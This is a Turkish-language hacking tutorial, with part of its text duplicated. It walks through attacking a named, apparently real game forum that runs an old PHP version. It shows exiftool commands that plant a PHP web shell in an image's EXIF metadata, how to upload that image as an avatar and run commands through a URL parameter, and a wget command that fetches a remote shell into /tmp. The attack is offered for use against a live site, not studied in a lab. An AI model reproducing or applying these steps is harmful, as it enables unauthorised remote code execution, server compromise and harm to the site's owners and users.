Geçerli olduğu sürümler: php 7.3.3 ve aşağısı
Eskiden oynadığım bir web tabanlı oyunun forumuna göz atıyordum. Forum oldukça eski görünüyordu forum yazılımları eski olması bir kenara dursun php sürümleri 5.6.40 olduğunu gördüm.
güncel php sürümlerinde bile her geçen gün zaafiyetler çıkıyorken 5.6.40 sürümüne bakmamak salaklık olurdu.
Eskiden oynadığım bir web tabanlı oyunun forumuna göz atıyordum. Forum oldukça eski görünüyordu forum yazılımları eski olması bir kenara dursun php sürümleri 5.6.40 olduğunu gördüm.
güncel php sürümlerinde bile her geçen gün zaafiyetler çıkıyorken 5.6.40 sürümüne bakmamak salaklık olurdu.
Revealed content
ilk önce cmd ile php verisonunu teyit ettim.
çıkan çıktıda x-powered-by kısmına baktığımızda şunu gördüm
tamamdır artık EXIF deneyebileceğimiz bir versiyon olduğu konusunda hemfikiriz.
foruma hesap oluşturdum ve bir fotoğraf yükleme alanı aradım en sonunda sadece profil resmi yükleme alanı görebildim. buradan EXIF aracımızla editleyeceğimiz görseli yükleyeceğiz.
İlk olarak internetten bir fotoğraf indirdim resim.png olsun ismi.
bu resim.png'yi editlememiz gerekiyor bunu exif aracıyla yapacağız.
İndirme bağlantısı: https://sourceforge.net/projects/exiftool/files/exiftool-13.58_64.zip/download
programı indirdikten sonra beni oku metnini okuyarak sıkıntısız bir şekilde System32'ye aracımızı kurduk.
konsolumuzu açıp artık görselimizi editletelim;
artık görselimiz editlendi içerisinde görselin meta alanı sayesinde bozuk değer verdiğimiz A değeri mevcut. Bu görseli foruma profil resimden yüklemeyi test edelim.
Eğer görsel profil resminize sıkıntısız şekilde yüklendikten sonra ekranda yamulma, depolama hatası, sunucu hatası, 500 hatası gibi hatalar alırsanız sitemizde zaafiyet sömürülebilir.
Artık exploitli görselimizi oluşturalım
koddan da okuduğunuz üzere logonun içerisinde php konsol kodları ekledik böylelikle parametre ile komut yazdırabileceğiz.
oluşturduğumuz shell.jpg dosyasını forumun profil resmi yükleme bölümüne yükledik. Dosya yüklendikten sonra dosyanın sunucuda nereye kaydedildiğini bulmanız gerekiyor en mantıklı hareket profil resminizin üzerine sağ tık yapıp fotoğrafı yeni sekmede aç tuşuna basmak. Zaten genellikle bu tür dosyalar uploads/avatars/ gibi klasörlere kaydedilir
açılan url'yi şu şekil yapıp test edin
eğer her şey doğru çalışırsa sunucudan uid=33(www-data) gid=33(www-data) tarzı bir yanıt almalnız lazm bu shelliniz çalıştığını ve komut çalıştırabildiğinizin kanıtıdır
e abi peki ben tam yetkiyi nasıl kazanıcam? dediğinizi duyar gibiyim. haklısınız nihayetinde bu kod size sadece bir konsol açar. shell yükleyebilmeniz için uzaktan wget ile shell çekmeniz gerekiyor.
onu da basitçe şu şekilde belrtiyim:
fark ettiyseniz /tmp/ dizinine oluşturduk shell dosyasını neden?
abi çünkü eğer girdiğiniz sitenin sunucu dizinini bilmiyorsanız sadece linux server olduğunu biliyorsanız her linux dizininde /tmp/ kesinlikle vardır burayı genellikle root exploiti yüklemek için kullanırlar yani buraya shell dosyası yükleseniz bile url üzerinden çalıştıramazsınız eğer dizini biliyorsnaız mesela /var/www/html/ şeklinde olduğunu biliyorsanız o şekilde oluşturacaksınız.
veya eğer bash komutların hepsi açıksa bulunduğunuz dizinde touch dosya.php şeklinde shellinizi oluşturn. ben bunu öncelikle olarak önermeme sebebim bulunduğunuz dizin genellikle buna olanak sağlamıyor çünkü biliyorsanuz görsellerin bulunduğu dizinde htaccess ile php dosyaların çalışmasını engelliyor. ve chmod olduğu için terminalden bi önceki dizine de geçemiyorsunuz.
Kod:
curl -I https://imhateam.org/forum
çıkan çıktıda x-powered-by kısmına baktığımızda şunu gördüm
x-powered-by: PHP/5.6.40tamamdır artık EXIF deneyebileceğimiz bir versiyon olduğu konusunda hemfikiriz.
foruma hesap oluşturdum ve bir fotoğraf yükleme alanı aradım en sonunda sadece profil resmi yükleme alanı görebildim. buradan EXIF aracımızla editleyeceğimiz görseli yükleyeceğiz.
İlk olarak internetten bir fotoğraf indirdim resim.png olsun ismi.
bu resim.png'yi editlememiz gerekiyor bunu exif aracıyla yapacağız.
İndirme bağlantısı: https://sourceforge.net/projects/exiftool/files/exiftool-13.58_64.zip/download
programı indirdikten sonra beni oku metnini okuyarak sıkıntısız bir şekilde System32'ye aracımızı kurduk.
konsolumuzu açıp artık görselimizi editletelim;
Kod:
exiftool -v -overwrite_original -ifd0:Software="A" -ifd0:Copyright="A" -makernotes:all="A" resim.png
artık görselimiz editlendi içerisinde görselin meta alanı sayesinde bozuk değer verdiğimiz A değeri mevcut. Bu görseli foruma profil resimden yüklemeyi test edelim.
Eğer görsel profil resminize sıkıntısız şekilde yüklendikten sonra ekranda yamulma, depolama hatası, sunucu hatası, 500 hatası gibi hatalar alırsanız sitemizde zaafiyet sömürülebilir.
Artık exploitli görselimizi oluşturalım
Kod:
exiftool -v -overwrite_original -ifd0:Software='<?php system($_GET["cmd"]); ?>' -ifd0:Copyright="A" -makernotes:all="A" shell.jpg
koddan da okuduğunuz üzere logonun içerisinde php konsol kodları ekledik böylelikle parametre ile komut yazdırabileceğiz.
oluşturduğumuz shell.jpg dosyasını forumun profil resmi yükleme bölümüne yükledik. Dosya yüklendikten sonra dosyanın sunucuda nereye kaydedildiğini bulmanız gerekiyor en mantıklı hareket profil resminizin üzerine sağ tık yapıp fotoğrafı yeni sekmede aç tuşuna basmak. Zaten genellikle bu tür dosyalar uploads/avatars/ gibi klasörlere kaydedilir
açılan url'yi şu şekil yapıp test edin
https://imhateam.org/forum/uploads/avatars/shell.jpg?cmd=ideğer her şey doğru çalışırsa sunucudan uid=33(www-data) gid=33(www-data) tarzı bir yanıt almalnız lazm bu shelliniz çalıştığını ve komut çalıştırabildiğinizin kanıtıdır
e abi peki ben tam yetkiyi nasıl kazanıcam? dediğinizi duyar gibiyim. haklısınız nihayetinde bu kod size sadece bir konsol açar. shell yükleyebilmeniz için uzaktan wget ile shell çekmeniz gerekiyor.
onu da basitçe şu şekilde belrtiyim:
https://imhateam.org/forum/uploads/avatars/shell.jpg?cmd=wget http://shell_sitesi.com/revonzy_bana_ihanet_ettin_shell.txt -O /tmp/shell.phpfark ettiyseniz /tmp/ dizinine oluşturduk shell dosyasını neden?
abi çünkü eğer girdiğiniz sitenin sunucu dizinini bilmiyorsanız sadece linux server olduğunu biliyorsanız her linux dizininde /tmp/ kesinlikle vardır burayı genellikle root exploiti yüklemek için kullanırlar yani buraya shell dosyası yükleseniz bile url üzerinden çalıştıramazsınız eğer dizini biliyorsnaız mesela /var/www/html/ şeklinde olduğunu biliyorsanız o şekilde oluşturacaksınız.
veya eğer bash komutların hepsi açıksa bulunduğunuz dizinde touch dosya.php şeklinde shellinizi oluşturn. ben bunu öncelikle olarak önermeme sebebim bulunduğunuz dizin genellikle buna olanak sağlamıyor çünkü biliyorsanuz görsellerin bulunduğu dizinde htaccess ile php dosyaların çalışmasını engelliyor. ve chmod olduğu için terminalden bi önceki dizine de geçemiyorsunuz.
Bu içeriği görmek için giriş yapın.
